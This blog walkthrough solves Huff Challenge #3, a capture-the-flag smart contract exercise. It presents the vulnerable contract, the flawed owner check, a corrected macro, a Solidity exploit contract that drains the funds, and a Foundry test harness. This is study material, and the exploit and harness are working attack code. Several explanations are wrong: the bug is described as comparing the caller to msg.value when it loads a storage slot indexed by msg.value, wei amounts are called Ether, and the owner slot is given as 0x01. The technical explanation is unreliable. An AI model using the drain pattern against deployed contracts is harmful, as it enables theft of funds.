Walkthrough: Huff Challenge #3

In this article, we are going to explore the solution to the Huff Challenge 3.

You can find walkthroughs for Challenge #1 here and Challenge #2 here.

If you wanna learn how to test and deploy Huff contracts, check out this article.

Overview:

Here’s the target contract for the challenge:

#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02

// Deposit into the contract.
#define macro DEPOSIT() = takes (0) returns (0) {
    callvalue iszero error jumpi // revert if msg.value == 0
    caller [LAST_DEPOSITER_SLOT] sstore // store last depositer 
    stop
    error:
        0x00 0x00 revert
}

// Withdraw from the contract.
#define macro WITHDRAW() = takes (0) returns (0) {
    [WITHDRAWER_SLOT] sload       // get withdrawer
    caller eq iszero error jumpi  // revert if caller != withdrawer

    // Transfer tokens
    0x00 0x00 0x00 0x00     // fill stack with 0
    selfbalance caller gas  // call parameters
    call                    // send ETH
    stop
    error:
        0x00 0x00 revert
}

// Allow owner to set withdrawer.
#define macro SET_WITHDRAWER() = takes (0) returns (0) {
    caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)
    0x04 calldataload [WITHDRAWER_SLOT] sstore   // set new withdrawer
    stop
    error:
        0x00 0x00 revert
}

// Constructor.
#define macro CONSTRUCTOR() = takes (0) returns (0) {
    caller [OWNER_SLOT] sstore // set the deploywer as the owner
}

// Main macro
#define macro MAIN() = takes (0) returns (0) {
    0x00 calldataload 0xE0 shr
    dup1 0xd0e30db0 eq deposit jumpi
    dup1 0x3ccfd60b eq withdraw jumpi
    dup1 0x0d174c24 eq set_withdrawer jumpi

    deposit:
        DEPOSIT()
    withdraw:
        WITHDRAW()
    set_withdrawer:
        SET_WITHDRAWER()
}

The Huff contract contains four primary operations defined as macros:

  1. DEPOSIT(): allows a user to deposit funds into the contract.

  2. WITHDRAW(): lets the designated withdrawer to extract funds from the contract.

  3. SET_WITHDRAWER(): allows the owner to change the designated withdrawer.

  4. CONSTRUCTOR(): a setup routine that runs once upon deployment, setting the deployer as the contract owner.

The contract also maintains three storage slots:

  • OWNER_SLOT: The contract's owner.

  • WITHDRAWER_SLOT: The currently designated withdrawer.

  • LAST_DEPOSITER_SLOT: The last user who deposited into the contract.

#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02

The Bug:

The critical bug exists in the SET_WITHDRAWER() macro. It is intended to allow only the contract owner to set a new withdrawer. However, due to a flaw in the code, it actually checks whether the calling address matches the value of the transaction (in Wei). Here's the problematic line of code:

caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)

This means that if the sender of the transaction sends an amount of Ether equal to their address when calling this function, they could change the withdrawer, thereby opening the door to draining the contract's funds.

Let's break it down.

In the line of code that creates the bug, caller callvalue sload eq iszero error jumpi, we see a sequence of opcodes that, while seemingly correct at first glance, contain a fatal logic error.

Here's how the above line is interpreted:

  1. caller: This opcode pushes the caller's address (the address that started the execution) onto the stack.

  2. callvalue: Pushes the amount of Wei sent with the message (msg.value) onto the stack. This should have been [OWNER_SLOT] to load the contract owner's address into the stack.

  3. sload: Loads the value from storage located at the address at the top of the stack. Since we have just pushed callvalue, it will attempt to load a value from an address equivalent to the Wei sent, which is nonsensical in this context.

  4. eq: Checks if the top two stack items are equal.

  5. iszero: Checks if the result of the eq operation is 0.

  6. error jumpi: If the previous operation resulted in 0 (meaning the eq operation returned false), it jumps to the error label and reverts the transaction.

The Fix

The correct operation to check whether the sender of the transaction is the contract's owner should have been caller [OWNER_SLOT] sload eq iszero error jumpi. This will correctly load the owner's address from the storage slot 0x01 into the stack and compare it to the caller's address, thereby correctly enforcing the permission check.

Here's the corrected SET_WITHDRAWER() macro:

#define macro SET_WITHDRAWER() = takes (0) returns (0) {
    caller [OWNER_SLOT] sload eq iszero error jumpi // require(msg.sender==owner)
    0x04 calldataload [WITHDRAWER_SLOT] sstore   // set new withdrawer
    stop
    error:
        0x00 0x00 revert
}

This is a really cool challenge as it shows how worse it can get by a change in a single word. Also it highlights the importance of understanding the basics before starting to use low-level languages like Huff, Yul, etk, etc.,

Proof of Concept:

Having identified the flaw, let’s take a look at the PoC for a better understanding.

import "./IChallenge3.sol";

function playerScript(address instanceAddress) {
    new Challenge3Exploit{value: 3}(instanceAddress);
}

contract Challenge3Exploit {
    constructor(address instanceAddress) payable {
        Challenge3 challenge = Challenge3(payable(instanceAddress));
        challenge.deposit{value: 1}();
        challenge.setWithdrawer{value: 2}(address(this));
        challenge.withdraw();
        selfdestruct(payable(msg.sender));
    }
}

The Exploit

The playerScript() function is the main entry point. It deploys a new Challenge3Exploit contract, passing the instance address of the vulnerable contract and sending along 3 Ether.

Next, three key steps of the exploit:

  1. challenge.deposit{value: 1}(); - Deposit 1 Ether into the vulnerable contract.

  2. challenge.setWithdrawer{value: 2}(address(this)); - Exploit the bug, call the setWithdrawer() method with 2 Ether, so that the caller address (0x02) and the callvalue are both the same.

  3. challenge.withdraw(); - Now that the contract is set as the withdrawer, call the withdraw() function to drain the funds from the vulnerable contract.

Finally, the line selfdestruct(payable(msg.sender)); sends all the funds collected by the exploit contract back to its deployer and destroys the contract.

Harness contract:

contract Challenge3Test is Test {
    address playerAddress = makeAddr("player");
    Challenge3 test;

    function setUp() public {
        test = Challenge3(HuffDeployer.deploy("HuffChallenge/challenge3/Challenge3"));
        test.deposit{value: 0.1 ether}();
        assertEq(address(test).balance, 0.1 ether);
    }

    function testExploit() public {
        vm.deal(playerAddress, 1 ether);

        vm.startPrank(playerAddress, playerAddress);
        playerScript(address(test));
        vm.stopPrank();

        assertEq(address(test).balance, 0 ether);
        assertEq(playerAddress.balance, 1.1 ether);
    }
}

In the setUp() function, the vulnerable contract is deployed and an initial deposit of 0.1 Ether has been made.

In the testExploit() function, exploit is carried out. The vm.deal(playerAddress, 1 ether); line provides the exploiter with 1 Ether. Then vm.startPrank() is used to impersonate the player address, execute the exploit, and then stop the impersonation.

Finally, assert that the vulnerable contract's balance is now 0, and the player's balance has increased by 1.1 Ether, thereby validating the success of the exploit.

Link to the Challenge:

GitHub link to the PoC:

Subscribe to PraneshASP ⚡
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.